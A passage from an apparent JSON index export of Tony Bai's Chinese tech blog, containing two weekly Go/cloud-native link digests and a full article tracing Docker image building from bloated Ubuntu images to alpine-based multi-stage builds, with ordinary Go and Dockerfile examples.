hub上pull。\n更多内容可以通过我在慕课网开设的实战课程《Kubernetes实战 高可用集群搭建、配置、运维与应用》学习。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n微信赞赏：\n","permalink":"https://tonybai.com/2018/01/03/an-intro-of-microservices-governance-by-istio/","summary":"\u003cp\u003e近两年\u003ca href=\"https://en.wikipedia.org/wiki/Microservices\"\u003e微服务架构\u003c/a\u003e流行，主流互联网厂商内部都已经微服务化，初创企业虽然技术积淀不行，但也通过各种开源工具拥抱微服务。再加上\u003ca href=\"http://tonybai.com/tag/docker\"\u003e容器技术\u003c/a\u003e赋能，\u003ca href=\"http://tonybai.com/tag/k8s\"\u003eKubernetes\u003c/a\u003e又添了一把火，\u003ca href=\"http://microservices.io/patterns/microservices.html\"\u003e微服务架构\u003c/a\u003e已然成为当前软件架构设计的首选。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e但微服务化易弄，服务治理难搞！\u003c/strong\u003e\u003c/p\u003e\n\u003ch2 id=\"一微服务的痛点\"\u003e一、微服务的“痛点”\u003c/h2\u003e\n\u003cp\u003e微服务化没有统一标准，多数是进行业务领域垂直切分，业务按一定的粒度划分职责，并形成清晰、职责单一的服务接口，这样每一块规划为一个微服务。微服务之间的通信方案相对成熟，开源领域选择较多的有RPC或RESTful API方案，比如：\u003ca href=\"https://grpc.io/\"\u003egRPC\u003c/a\u003e、\u003ca href=\"https://thrift.apache.org/\"\u003eapache thrift\u003c/a\u003e等。这些方案多偏重于数据如何打包、传输与解包，对服务治理的内容涉及甚少。\u003c/p\u003e","title":"使用istio治理微服务入门"},{"content":"本文是首发于个人微信公众号的文章**“TB一周萃选[第3期]”**的归档。\n《岁旦》 宋伯仁 宋代诗人\n居间无贺客，早起只如常。桃版随人换，梅花隔岁香。\n春风回笑语，云气卜丰穰。柏酒何劳劝，心平寿自长。\n本期萃选是2017年的最后一期，也是迎接2018新年“承前启后”的一期。\n对于现代中国人来说，公历新年又称为“元旦”。但稍有些历史常识的朋友都会知道：此“元旦”与中国古时的那个“元旦”有所不同。古代中国人把农历大年初一称为元旦，传说古时“元旦”在距今4000多年前“尧舜禹”的时候就已经有了。1911年辛亥革命成功后，当时孙中山领导的国民政府把农历的大年初一称春节，把公历1月1日称元旦，这就是现在元旦的由来。现代中国的元旦，在世界更广的范围内被更多称为“新年”，是全世界人们的一个共同的节日。在这样的一个节日里，人们家庭团聚，亲友重逢，倾诉过往，憧憬新年，祈求平安。\n节日，似乎是群居生物的一种典型的行为表现形式，动物有之（可能是以我们无法理解的形式），人类也在进化的几十万年（又或更长的时间）内设定了大大小小的各种节日。这是作为群居动物的人类的一个重要需求，是进化数十万年后依然保留的最古老的基因所表现出的行为倾向。人类通过“节日”来“蓄力”，以迎接新的挑战！不同的是，古代人类挑战的是凶恶的生存环境，现代人类抗争的是现代生活无形的“生活压力”。\n不过，人类从来没有屈服于困难！近期火热的电影《芳华》向我们直观生动地阐释了这一点，让我们更加明白生活的真谛，珍惜与家人、爱人、朋友在一起的时光，享受现在的生活，乐观的面对人生。\n一、一周文章精粹 1. Go初学者的类型系统入门 对于Go初学者而言，尤其是对那些从OO语言转到Go的开发者，在他们大脑中根深蒂固的OO type hierachy不见了，这让他们似乎一下子失去了着力点或抓手。原Go core team成员JBD撰文阐述了Go类型系统的特点，诸如：流程优先、嵌入不是继承、多态、没有构造函数、没有范型等。\n原文链接：《The Go type system for newcomers》。\n2. Go反射详解 Go语言提供了反射(reflect)特性，在标准库中很多常见功能都是用反射实现的，比如：encoding/json、fmt包的Println系列等。但日常编程中，直接使用reflect包的场合并不多。reflect为Go程序员提供了一种在运行时 “陷入” 的机制，使得Go程序具备了直接操作runtime中类型元数据的能力以及在运行时凭空“制造”变量的能力，因此reflect操作是比较“危险”的。\nSidhartha Mani的“Go反射详解”分为两个part，part1主要讲解type与kind的区别、基于reflect包的type和value进行Go原生类型变量的构造和值的析出；part2则是针对复合类型，比如数组、map、struct等类型变量的构造和值的析出进行讲解，思路十分清晰。\n原文链接：\n《Go Reflection: Creating Objects from Types — Part I (Primitive Types)》\n《Go Reflection: Creating Objects from Types — Part II (Composite Types)》\n3. 现代网络负载均衡和代理指南 lyft的envoy工程师撰文对高可用分布式网络中的负载均衡和反向代理做了详尽的科普性讲解，内容包含：lb与proxy的区别、L4 lb、L7 lb、lb特性分析、lb的拓扑类型、当前L4-lb技术、L7-lb技术现状的情况、全局lb和集中控制平面等。强烈推荐阅读！\n原文链接：《Introduction to modern network load balancing and proxying》\n4. Go编译器内幕 这是由国内一位就职于ARM公司的开发者在Go dev group上发的topic，这位开发者将自己学习和整理了Go compiler的原理（主要针对ARM平台）放在了一篇slide中，并在Go core team的反馈下，对他的slide进行了修正和优化。这份资料对于想深入了解Go compiler的朋友可能是大有裨益的。\n原文链接：“Golang Compiler Internals for arm64″\n5. 年度盘点2017之Service Mesh：群雄逐鹿烽烟起 在Kubecon\u0026amp;CloudNativeCon 2017上大放异彩后，Service Mesh在国内已经渐入火热阶段。Service Mesh的著名Advocator：数人云的架构师敖小剑年终前发了此文，对service mesh的发展历史、来龙去脉、各方开源项目和厂商势力分析以及未来发展做了回顾和展望。如果你还不知道什么是service mesh，那借此文赶紧上车吧:)\n原文链接：“年度盘点2017之Service Mesh：群雄逐鹿烽烟起”\n二、一周资料分享 1. Microservice’ing like a unicorn with kubernetes, envoy, and istio 随着传播渠道多元化和传播速度的加快，新技术“火”的速度也变得以前所未有。以Service Mesh概念为例（参考了 “年度盘点2017之Service Mesh：群雄逐鹿烽烟起”）：\n2016 年 9 月 29 日在 SF Microservices 上，“Service Mesh”这个词汇第一次在公开场合被使用。这标志着“Service Mesh”这个词，从 Buoyant 公司走向社区。 2017 年 4 月 25 日，William Morgan 发布博文“What’s a service mesh? And why do I need one?”。正式给 Service Mesh 做了一个权威定义。 2017 年 5 月 24 日，Istio 0.1 release 版本发布，Google 和 IBM 高调宣讲，社区反响热烈，很多公司在这时就纷纷站队表示支持 Istio。 istio的正式发布，成为了service mesh的一个重要里程碑事件。谁能否认istio不是另一个Google内部技术的开源版本呢，就好比当年Kubernetes的开源。微服务框架走向统一的service mesh似乎成了大势所趋的趋势。无论国内外，对service mesh的研究、开发和试验，甚至是商用都在如火如荼地进行当中。\nRedhat架构师Christian Posta近日在自己的博客上放出一份正在构建中的资料：Microservice’ing like a unicorn with kubernetes, envoy, and istio，对envoy和istio的原理与使用进行案例式的详尽说明，同时配有对应的示例源码。对于希望学习service mesh技术的朋友们，这是一份不可多得的资料。\n资料分享链接：Microservice’ing like a unicorn with kubernetes, envoy, and istio\n三、一周工具推荐 1. mdp 今天给大家推荐一个比较有Geek赶脚的present工具：mdp。\nmdp是一款文稿演示工具，与go present工具有些类似，都是以一种类markdown格式的文档作为输入。不同之处，后者是将演示文稿渲染到浏览器中，而mdp工具则是将文稿渲染到terminal中，效果参见下面图示：\nmdp支持标准markdown语法，同时也支持通过一些扩展语法实现的特定渲染效果。mdp同时支持一些快捷键控制命令，比如：h,j,k,l组合的翻页控制等。在Mac上可使用brew工具来install mdp，在其他平台可以通过下载源码并自行编译的方式安装。\n工具链接：mdp\n四、一周图书推荐 笔者认为人类正在构建支撑未来20-30年支撑人类社会发展的IT技术“有机生命体”，包括：\n能量系统(类比于细胞化学反应，提供计算能量) – IT基础设施(云计算、vm、k8s、container)、Cloud Native技术框架：microservice 、service mesh(服务治理网络) 、serverless等。 神经通道 – 基础高速互联网、移动网络、区块链（信用网络） 大脑 – 人工智能、数据与智能算法 肢体与感知 – 机器人、智能交通工具（比如：无人汽车等）、智能硬件、Iot等。 其中区块链技术作为未来社会信用网络的重要基础，IT技术人员都应该认真学习。本期我就推荐一本有关区块链技术的开源书：yesky的《区块链开发指南》。这是一本关于区块链技术的较为系统的开源书。该书探索了区块链概念的来龙去脉，剥茧抽丝，剖析关键技术原理、典型应用场景、分布式系统核心问题，同时讲解了区块链技术的三大典型应用：比特币、以太坊和Hyperledger超级账本以及相关应用的开发入门。\n开源书链接：《区块链开发指南》\n商业纸板图书链接：《区块链原理、设计与应用》\n我的联系方式：\n微博：http://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2017/12/30/3rd-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/","summary":"\u003cp\u003e本文是首发于\u003ca href=\"https://mp.weixin.qq.com/mp/qrcode?scene=10000005\u0026amp;size=102\u0026amp;__biz=MzIyNzM0MDk0Mg==\u0026amp;mid=2247483848\u0026amp;idx=1\u0026amp;sn=a3cd9182a2b2d3716623cc2c43d59f37\u0026amp;send_time=\"\u003e个人微信公众号\u003c/a\u003e的文章**“TB一周萃选[第3期]”**的归档。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/weekly-issues/3rd-issue/happy-new-year-2018.jpg\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cpre\u003e\u003ccode\u003e 《岁旦》\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e宋伯仁 宋代诗人\u003c/p\u003e\n\u003cp\u003e居间无贺客，早起只如常。桃版随人换，梅花隔岁香。\u003cbr\u003e\n　　春风回笑语，云气卜丰穰。柏酒何劳劝，心平寿自长。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e本期萃选是2017年的最后一期，也是迎接2018新年“承前启后”的一期。\u003c/p\u003e","title":"TB一周萃选[第3期]"},{"content":"本文是首发于个人微信公众号的文章**TB一周萃选[第2期]**的归档。\n封面\n“我天性不宜交际。\n在多数场合，我不是觉得对方乏味，就是害怕对方觉得我乏味。可是我既不愿忍受对方的乏味，也不愿费劲使自己显得有趣，那都太累了。\n我独处时最轻松，因为我不觉得自己乏味，即使乏味，也自己承受，不累及他人，无需感到不安。” ——周国平\n本周日晚上就是平安夜了！\n圣诞节，是西方最重要的节日之一，也是一个公历纪年的最后一个节日。对于中华大地的人们来说，圣诞节这个洋节日影响力倒不是那么大，不过它却是一个重要的日子，它提醒着大家：这一年要结束了！该总结的总结，该计划的也要开始计划了。\n圣诞节是一个美丽的节日。在西方，绿色的挂满彩饰的圣诞树、创意十足的圣诞贺卡、白胡子红袍子的慈祥的圣诞老人、装满礼物的圣诞袜以及美味的圣诞大餐构成了圣诞节永恒不变的节日主题。不过中国人的过法与西方完全不同，尤其是年轻人。他们喜欢成双成对地在商业街以休闲购物的方式过圣诞节，这不仅是商业元素的引导，可能也是荷尔蒙的需要。对于渐渐步入中年的我而言，家庭的分量更重。守在孩子和老婆身边，更能带来心灵上的温暖。\n一、一周文章精粹 1、七牛CEO许式伟：”我与Go语言的这十年” 许式伟是大中华地区Go首席布道者（至少，我还不知道谁使用Go和大力推广Go早过许总^_^），并且身体力行、率先垂范地在自己的项目中、在自己的公司产品全面使用Go技术栈。在这篇文章中，许总回顾了Go语言10年来的成长以及他个人使用和推广Go语言的历程。许总对Go有着深刻的理解和洞察力，在这篇文章的结尾处许总再次给出了自己对Go语言未来十年的预测，这里笔者表示不能同意再多了^0^。这里将一段文字摘录如下：\n下一个十年会怎样？我知道有一些人很期望 Go 语言特性的迭代。但是如果你抱有这种想法可能会失望，因为下一个十年 Go 不会发生太大的变化。对远期需求变化的预测和把控能力，是 Go 的最大魅力之一。这一点上能够和 Go 相比的是 C 语言（C 语言不同版本的规范差异极少），但因为 Go 要解决的问题更多，做到这一点实际上也更难。下一个十年 Go 仍然会继续深耕服务端开发的生态，同时积极探索其他潜在的应用市场。\n原文链接：“我与Go语言的这十年”\n图：Go语言的十年\n2、追求极简：Docker镜像构建演化史 这是笔者在CSDN《程序员杂志》2017.12上投稿的一篇文章。这两年容器技术飞速发展，除了Docker之外，又有Rkt、kata container等容器引擎或runtime的出现。但Docker依然是容器领域使用最为广泛的主流技术。对于已经接纳和使用Docker技术在日常开发工作中的开发者而言，构建Docker镜像已经是家常便饭。但如何更高效地构建以及构建出Size更小的镜像却是很多Docker技术初学者心中常见的疑问，甚至是一些老手都未曾细致考量过的问题。这篇文章将从一个Docker用户角度来阐述Docker镜像构建的演化史，希望能起到一定的解惑作用。\n原文链接：“Docker镜像构建演化史”\n3、Service Mesh时代的选边与站队 2017年KubeCon\u0026amp;CloudNativeCon Austin大会上，作为代表下一代微服务解决方案设计理念的Service Mesh成为“热词”而被众人追捧。国内的ServiceMesh也是刚刚起步，方兴未艾。这篇“Service Mesh时代的选边与站队 ”就是发表在国内ServiceMesh社区上的一篇文章。文章脉络大致如下：\nService Mesh的地位与生态格局 大公司间关于Service Mesh的布局与斗争策略 istio尚未发布1.0时，最早提出Service Mesh概念的小公司buoyant的努力喘息 Service Mesh的2018 原文链接：“Service Mesh 时代的选边与站队”\n4、全文检索数据库Bleve简介 去年年末在做一个全文检索查询功能时曾用过陈辉的wukong引擎，不过wukong引擎由于作者的日理万机，无闲打理，已经不再维护。而在Go语言实现的全文检索工具领域，国外社区更流行的是Bleve。这篇文章介绍了作者所在公司为何用bleve替换solr，并对bleve中概念、使用方法进行了介绍，算是Bleve的入门文章。不过对于中文分词和全文检索的支持好坏，还需验证。\n原文链接：“Go实现的全文检索数据库Bleve简介”\n5、十年专业写博经验谈 Andrew Chen是硅谷的一位企业家，创业顾问，“Growth Hacker is the new VP of Marketing”一文作者，目前就职于uber。他还是一位拥有10年写博经验的博主。在“十年专业写博经验谈”一文中，他总结了10年来写博的经验教训，并逐条给出详细的亲历讲解。\n原文链接：“10 years of professional blogging – what I’ve learned”\n6、Go数据科学Data Sheet Go语言在数据科学领域算得上是一个年轻，但却极具潜力的选手。近一年来，Go语言在大数据领域已经有了gonum、gorgonia等用于数值计算和数据分析的library。gorgonia项目的作者Chewxy这篇”Data Science In Go: A Cheat Sheet”就是使用gonum和gorgonia进行数据科学计算和统计计算的速查手册。\n原文链接：“Data Science In Go: A Cheat Sheet”\n二、一周资料分享 Go正式发布8年后，市面上关于Go语言入门的书籍和课程资料已经出现很多了，无论免费的还是收费。和其他语言的技术资料一样，很多资料质量良莠不齐。hackr.io针对Go语言的教程发起了社区投票，在这里我们可以看到社区对这些资料的质量甄别，同时这也是一份很好的Go书籍资料集合。这个投票是open的，你也可以提交list上尚没有的gobook，并根据你的阅读体验贡献你的vote。\n原文地址：“Best Community up-voted Go programming resources”\n三、一周工具推荐 1、135editor 之前将blog内容同步到微信公众号的时候，多为简单的复制粘贴，导致很多朋友抱怨公众号文章格式太粗糙，尤其是贴代码部分。自从有了做“TB一周萃选”这个weekly issue后，我就在市面上搜寻好用的微信公号文章编辑器。之前用的是微信编辑器(www.wxbj.cn)，简洁易用。但不知何故，该站点现在似乎变成了“易企秀”。于是我将编辑器换成了135editor，这个似乎更加强大，就是左栏下方的广告推广多了一些。\n135editor还支持在绑定公众号后的素材库同步，省了一步copy的动作。\n四、一周书籍推荐 1、Kubernetes Handbook Kubernetes赢得了与mesos、docker swarm的关于容器管理和服务编排引擎的“战争”，成为这个领域当之无愧的领头羊。越来越多的公司开始试用Kubernetes，这里推荐一个有关于Kubernetes的开源书《Kubernetes Handbook》，是由talkingdata的jimmy song编写整理的。该书的最大特点就是全面，从K8s的基本概念、运维手段到k8s的领域应用，并且有详细的实践操作讲解。\n书籍链接：《Kubernetes Handbook》\n我的联系方式：\n微博：http://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2017/12/22/2nd-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/","summary":"\u003cp\u003e本文是首发于\u003ca href=\"https://mp.weixin.qq.com/mp/qrcode?scene=10000005\u0026amp;size=102\u0026amp;__biz=MzIyNzM0MDk0Mg==\u0026amp;mid=2247483848\u0026amp;idx=1\u0026amp;sn=a3cd9182a2b2d3716623cc2c43d59f37\u0026amp;send_time=\"\u003e个人微信公众号\u003c/a\u003e的文章**TB一周萃选[第2期]**的归档。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/weekly-issues/2nd-issue/gopher-christmas.jpg\"\u003e\u003cbr\u003e\n封面\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“我天性不宜交际。\u003c/p\u003e\n\u003cp\u003e在多数场合，我不是觉得对方乏味，就是害怕对方觉得我乏味。可是我既不愿忍受对方的乏味，也不愿费劲使自己显得有趣，那都太累了。\u003c/p\u003e","title":"TB一周萃选[第2期]"},{"content":"本文首发于CSDN《程序员》杂志2017.12期，这里是原文地址。\n本文为《程序员》杂志授权转载，谢绝其他转载。全文如下：\n自从2013年dotCloud公司(现已改名为Docker Inc)发布Docker容器技术以来，到目前为止已经有四年多的时间了。这期间Docker技术飞速发展，并催生出一个生机勃勃的、以轻量级容器技术为基础的庞大的容器平台生态圈。作为Docker三大核心技术之一的镜像技术在Docker的快速发展之路上可谓功不可没：镜像让容器真正插上了翅膀，实现了容器自身的重用和标准化传播，使得开发、交付、运维流水线上的各个角色真正围绕同一交付物，“test what you write, ship what you test”成为现实。\n对于已经接纳和使用Docker技术在日常开发工作中的开发者而言，构建Docker镜像已经是家常便饭。但如何更高效地构建以及构建出Size更小的镜像却是很多Docker技术初学者心中常见的疑问，甚至是一些老手都未曾细致考量过的问题。本文将从一个Docker用户角度来阐述Docker镜像构建的演化史，希望能起到一定的解惑作用。\n一、镜像：继承中的创新 谈镜像构建之前，我们先来简要说下镜像。\nDocker技术本质上并不是新技术，而是将已有技术进行了更好地整合和包装。内核容器技术以一种完整形态最早出现在Sun公司的Solaris操作系统上，Solaris是当时最先进的服务器操作系统。2005年Sun发布了Solaris Container技术，从此开启了内核容器之门。\n2008年，以Google公司开发人员为主导实现的Linux Container(即LXC)功能在被merge到Linux内核中。LXC是一种内核级虚拟化技术，主要基于Namespaces和Cgroups技术，实现共享一个操作系统内核前提下的进程资源隔离，为进程提供独立的虚拟执行环境，这样的一个虚拟的执行环境就是一个容器。本质上说，LXC容器与现在的Docker所提供容器是一样的。Docker也是基于Namespaces和Cgroups技术之上实现的，Docker的创新之处在于其基于Union File System技术定义了一套容器打包规范，真正将容器中的应用及其运行的所有依赖都封装到一种特定格式的文件中去，而这种文件就被称为镜像（即image），原理见下图（引自Docker官网）：\n图1：Docker镜像原理\n镜像是容器的“序列化”标准，这一创新为容器的存储、重用和传输奠定了基础。并且“坐上了巨轮”的容器镜像可以传播到世界每一个角落，这无疑助力了容器技术的飞速发展。\n与Solaris Container、LXC等早期内核容器技术不同，Docker为开发者提供了开发者体验良好的工具集，这其中就包括了用于镜像构建的Dockerfile以及一种用于编写Dockerfile领域特定语言。采用Dockerfile方式构建成为镜像构建的标准方法，其可重复、可自动化、可维护以及分层精确控制等特点是采用传统采用docker commit命令提交的镜像所不能比拟的。\n二、“镜像是个筐”：初学者的认知 “镜像是个筐，什么都往里面装” – 这句俏皮话可能是大部分Docker初学者对镜像最初认知的真实写照。这里我们用一个例子来生动地展示一下。我们将httpserver.go这个源文件编译为httpd程序并通过镜像发布，考虑到被编译的源码并非本文重点，这里使用了一个极简的demo代码：\n//httpserver.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;net/http\u0026quot; ) func main() { fmt.Println(\u0026quot;http daemon start\u0026quot;) fmt.Println(\u0026quot; -\u0026gt; listen on port:8080\u0026quot;) http.ListenAndServe(\u0026quot;:8080\u0026quot;, nil) } 接下来，我们来编写一个用于构建目标image的Dockerfile：\nFrom ubuntu:14.04 RUN apt-get update \\ \u0026amp;\u0026amp; apt-get install -y software-properties-common \\ \u0026amp;\u0026amp; add-apt-repository ppa:gophers/archive \\ \u0026amp;\u0026amp; apt-get update \\ \u0026amp;\u0026amp; apt-get install -y golang-1.9-go \\ git \\ \u0026amp;\u0026amp; rm -rf /var/lib/apt/lists/* ENV GOPATH /root/go ENV GOROOT /usr/lib/go-1.9 ENV PATH=\u0026quot;/usr/lib/go-1.9/bin:${PATH}\u0026quot; COPY ./httpserver.go /root/httpserver.go RUN go build -o /root/httpd /root/httpserver.go \\ \u0026amp;\u0026amp; chmod +x /root/httpd WORKDIR /root ENTRYPOINT [\u0026quot;/root/httpd\u0026quot;] 构建这个Image：\n# docker build -t repodemo/httpd:latest . //...构建输出这里省略... # docker images REPOSITORY TAG IMAGE ID CREATED SIZE repodemo/httpd latest 183dbef8eba6 2 minutes ago 550MB ubuntu 14.04 dea1945146b9 2 months ago 188MB 整个镜像的构建过程因环境而定。如果您的网络速度一般，这个构建过程可能会花费你10多分钟甚至更多。最终如我们所愿，基于repodemo/httpd:latest这个镜像的容器可以正常运行：\n# docker run repodemo/httpd http daemon start -\u0026gt; listen on port:8080 一个Dockerfile最终生产出一个镜像。Dockerfile由若干Command组成，每个Command执行结果都会单独形成一个layer。我们来探索一下构建出来的镜像：\n# docker history 183dbef8eba6 IMAGE CREATED CREATED BY SIZE COMMENT 183dbef8eba6 21 minutes ago /bin/sh -c #(nop) ENTRYPOINT [\u0026quot;/root/httpd\u0026quot;] 0B 27aa721c6f6b 21 minutes ago /bin/sh -c #(nop) WORKDIR /root 0B a9d968c704f7 21 minutes ago /bin/sh -c go build -o /root/httpd /root/h... 6.14MB ... ... aef7700a9036 30 minutes ago /bin/sh -c apt-get update \u0026amp;\u0026amp; apt-get... 356MB .... ... \u0026lt;missing\u0026gt; 2 months ago /bin/sh -c #(nop) ADD file:8f997234193c2f5... 188MB 我们去除掉那些Size为0或很小的layer，我们看到三个size占比较大的layer，见下图：\n图2：Docker镜像分层探索\n虽然Docker引擎利用r缓存机制可以让同主机下非首次的镜像构建执行得很快，但是在Docker技术热情催化下的这种构建思路让docker镜像在存储和传输方面的优势荡然无存，要知道一个ubuntu-server 16.04的虚拟机ISO文件的大小也就不过600多MB而已。\n三、”理性的回归”：builder模式的崛起 Docker使用者在新技术接触初期的热情“冷却”之后迎来了“理性的回归”。根据上面分层镜像的图示，我们发现最终镜像中包含构建环境是多余的，我们只需要在最终镜像中包含足够支撑httpd运行的运行环境即可，而base image自身就可以满足。于是我们应该去除不必要的中间层：\n图3：去除不必要的分层\n现在问题来了！如果不在同一镜像中完成应用构建，那么在哪里、由谁来构建应用呢？至少有两种方法：\n在本地构建并COPY到镜像中； 借助构建者镜像(builder image)构建。 不过方法1本地构建有很多局限性，比如：本地环境无法复用、无法很好融入持续集成/持续交付流水线等。借助builder image进行构建已经成为Docker社区的一个最佳实践，Docker官方为此也推出了各种主流编程语言的官方base image，比如：go、java、node、python以及ruby等。借助builder image进行镜像构建的流程原理如下图：\n图4：借助builder image进行镜像构建的流程图\n通过原理图，我们可以看到整个目标镜像的构建被分为了两个阶段：\n第一阶段：构建负责编译源码的构建者镜像； 第二阶段：将第一阶段的输出作为输入，构建出最终的目标镜像。 我们选择golang:1.9.2作为builder base image，构建者镜像的Dockerfile.build如下：\n// Dockerfile.build FROM golang:1.9.2 WORKDIR /go/src COPY ./httpserver.go . RUN go build -o httpd ./httpserver.go 执行构建：\n# docker build -t repodemo/httpd-builder:latest -f Dockerfile.build . 构建好的应用程序httpd放在了镜像repodemo/httpd-builder中的/go/src目录下，我们需要一些“胶水”命令来连接两个构建阶段，这些命令将httpd从构建者镜像中取出并作为下一阶段构建的输入：\n# docker create --name extract-httpserver repodemo/httpd-builder # docker cp extract-httpserver:/go/src/httpd ./httpd # docker rm -f extract-httpserver # docker rmi repodemo/httpd-builder 通过上面的命令，我们将编译好的httpd程序拷贝到了本地。下面是目标镜像的Dockerfile：\n//Dockerfile.target From ubuntu:14.04 COPY ./httpd /root/httpd RUN chmod +x /root/httpd WORKDIR /root ENTRYPOINT [\u0026quot;/root/httpd\u0026quot;] 接下来我们来构建目标镜像：\n# docker build -t repodemo/httpd:latest -f Dockerfile.target . 我们来看看这个镜像的“体格”：\n# docker images REPOSITORY TAG IMAGE ID CREATED SIZE repodemo/httpd latest e3d009d6e919 12 seconds ago 200MB 200MB！目标镜像的Size降为原来的 1/2 还多。\n四、“像赛车那样减去所有不必要的东西”：追求最小镜像 前面我们构建出的镜像的Size已经缩小到200MB，但这还不够。200MB的“体格”在我们的网络环境下缓存和传输仍然很难令人满意。我们要为镜像进一步减重，减到尽可能的小，就像赛车那样，为了能减轻重量将所有不必要的东西都拆除掉：我们仅保留能支撑我们的应用运行的必要库、命令，其余的一律不纳入目标镜像。当然不仅仅是Size上的原因，小镜像还有额外的好处，比如：内存占用小，启动速度快，更加高效；不会因其他不必要的工具、库的漏洞而被攻击，减少了“攻击面”，更加安全。\n图5：目标镜像还能更小些吗？\n一般应用开发者不会从scratch镜像从头构建自己的base image以及目标镜像的，开发者会挑选适合的base image。一些“蝇量级”甚至是“草量级”的官方base image的出现为这种情况提供了条件。\n图6：一些base image的Size比较(来自imagelayers.io截图)\n从图中看，我们有两个选择：busybox和alpine。\n单从image的size上来说，busybox更小。不过busybox默认的libc实现是uClibc，而我们通常运行环境使用的libc实现都是glibc，因此我们要么选择静态编译程序，要么使用busybox:glibc镜像作为base image。\n而 alpine image 是另外一种蝇量级 base image，它使用了比 glibc 更小更安全的 musl libc 库。 不过和 busybox image 相比，alpine image 体积还是略大。除了因为 musl比uClibc 大一些之外，alpine还在镜像中添加了自己的包管理系统apk，开发者可以使用apk在基于alpine的镜像中添 加需要的包或工具。因此，对于普通开发者而言，alpine image显然是更佳的选择。不过alpine使用的libc实现为musl，与基于glibc上编译出来的应用程序不兼容。如果直接将前面构建出的httpd应用塞入alpine，在容器启动时会遇到下面错误，因为加载器找不到glibc这个动态共享库文件：\nstandard_init_linux.go:185: exec user process caused \u0026quot;no such file or directory\u0026quot; 对于Go应用来说，我们可以采用静态编译的程序，但一旦采用静态编译，也就意味着我们将失去一些libc提供的原生能力，比如：在linux上，你无法使用系统提供的DNS解析能力，只能使用Go自实现的DNS解析器。\n我们还可以采用基于alpine的builder image，golang base image就提供了alpine 版本。 我们就用这种方式构建出一个基于alpine base image的极小目标镜像。\n图7：借助 alpine builder image 进行镜像构建的流程图\n我们新建两个用于 alpine 版本目标镜像构建的 Dockerfile：Dockerfile.build.alpine 和Dockerfile.target.alpine：\n//Dockerfile.build.alpine FROM golang:alpine WORKDIR /go/src COPY ./httpserver.go . RUN go build -o httpd ./httpserver.go // Dockerfile.target.alpine From alpine COPY ./httpd /root/httpd RUN chmod +x /root/httpd WORKDIR /root ENTRYPOINT [\u0026quot;/root/httpd\u0026quot;] 构建builder镜像：\n# docker build -t repodemo/httpd-alpine-builder:latest -f Dockerfile.build.alpine . # docker images REPOSITORY TAG IMAGE ID CREATED SIZE repodemo/httpd-alpine-builder latest d5b5f8813d77 About a minute ago 275MB 执行“胶水”命令：\n# docker create --name extract-httpserver repodemo/httpd-alpine-builder # docker cp extract-httpserver:/go/src/httpd ./httpd # docker rm -f extract-httpserver # docker rmi repodemo/httpd-alpine-builder 构建目标镜像：\n# docker build -t repodemo/httpd-alpine -f Dockerfile.target.alpine . # docker images REPOSITORY TAG IMAGE ID CREATED SIZE repodemo/httpd-alpine latest 895de7f785dd 13 seconds ago 16.2MB 16.2MB！目标镜像的Size降为不到原来的十分之一。我们得到了预期的结果。\n五、“要有光，于是便有了光”：对多阶段构建的支持 至此，虽然我们实现了目标Image的最小化，但是整个构建过程却是十分繁琐，我们需要准备两个Dockerfile、需要准备“胶水”命令、需要清理中间产物等。作为Docker用户，我们希望用一个Dockerfile就能解决所有问题，于是就有了Docker引擎对多阶段构建(multi-stage build)的支持。注意：这个特性非常新，只有Docker 17.05.0-ce及以后的版本才能支持。\n现在我们就按照“多阶段构建”的语法将上面的Dockerfile.build.alpine和Dockerfile.target.alpine合并到一个Dockerfile中：\n//Dockerfile FROM golang:alpine as builder WORKDIR /go/src COPY httpserver.go . RUN go build -o httpd ./httpserver.go From alpine:latest WORKDIR /root/ COPY --from=builder /go/src/httpd . RUN chmod +x /root/httpd ENTRYPOINT [\u0026quot;/root/httpd\u0026quot;] Dockerfile的语法还是很简明和易理解的。即使是你第一次看到这个语法也能大致猜出六成含义。与之前Dockefile最大的不同在于在支持多阶段构建的Dockerfile中我们可以写多个“From baseimage”的语句了，每个From语句开启一个构建阶段，并且可以通过“as”语法为此阶段构建命名(比如这里的builder)。我们还可以通过COPY命令在两个阶段构建产物之间传递数据，比如这里传递的httpd应用，这个工作之前我们是使用“胶水”代码完成的。\n构建目标镜像：\n# docker build -t repodemo/httpd-multi-stage . # docker images REPOSITORY TAG IMAGE ID CREATED SIZE repodemo/httpd-multi-stage latest 35e494aa5c6f 2 minutes ago 16.2MB 我们看到通过多阶段构建特性构建的Docker Image与我们之前通过builder模式构建的镜像在效果上是等价的。\n六、来到现实 沿着时间的轨迹，Docker 镜像构建走到了今天。追求又快又小的镜像已成为了 Docker 社区 的共识。社区在自创 builder 镜像构建的最佳实践后终于迎来了多阶段构建这柄利器，从此构建 出极简的镜像将不再困难。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub: https://github.com/bigwhite\n微信赞赏：\n","permalink":"https://tonybai.com/2017/12/21/the-concise-history-of-docker-image-building/","summary":"\u003cp\u003e本文首发于\u003ca href=\"https://www.csdn.net/\"\u003eCSDN\u003c/a\u003e\u003ca href=\"http://programmer.csdn.net/\"\u003e《程序员》\u003c/a\u003e杂志\u003ca href=\"http://blog.csdn.net/qq_40027052/article/details/78720370\"\u003e2017.12期\u003c/a\u003e，这里是\u003ca 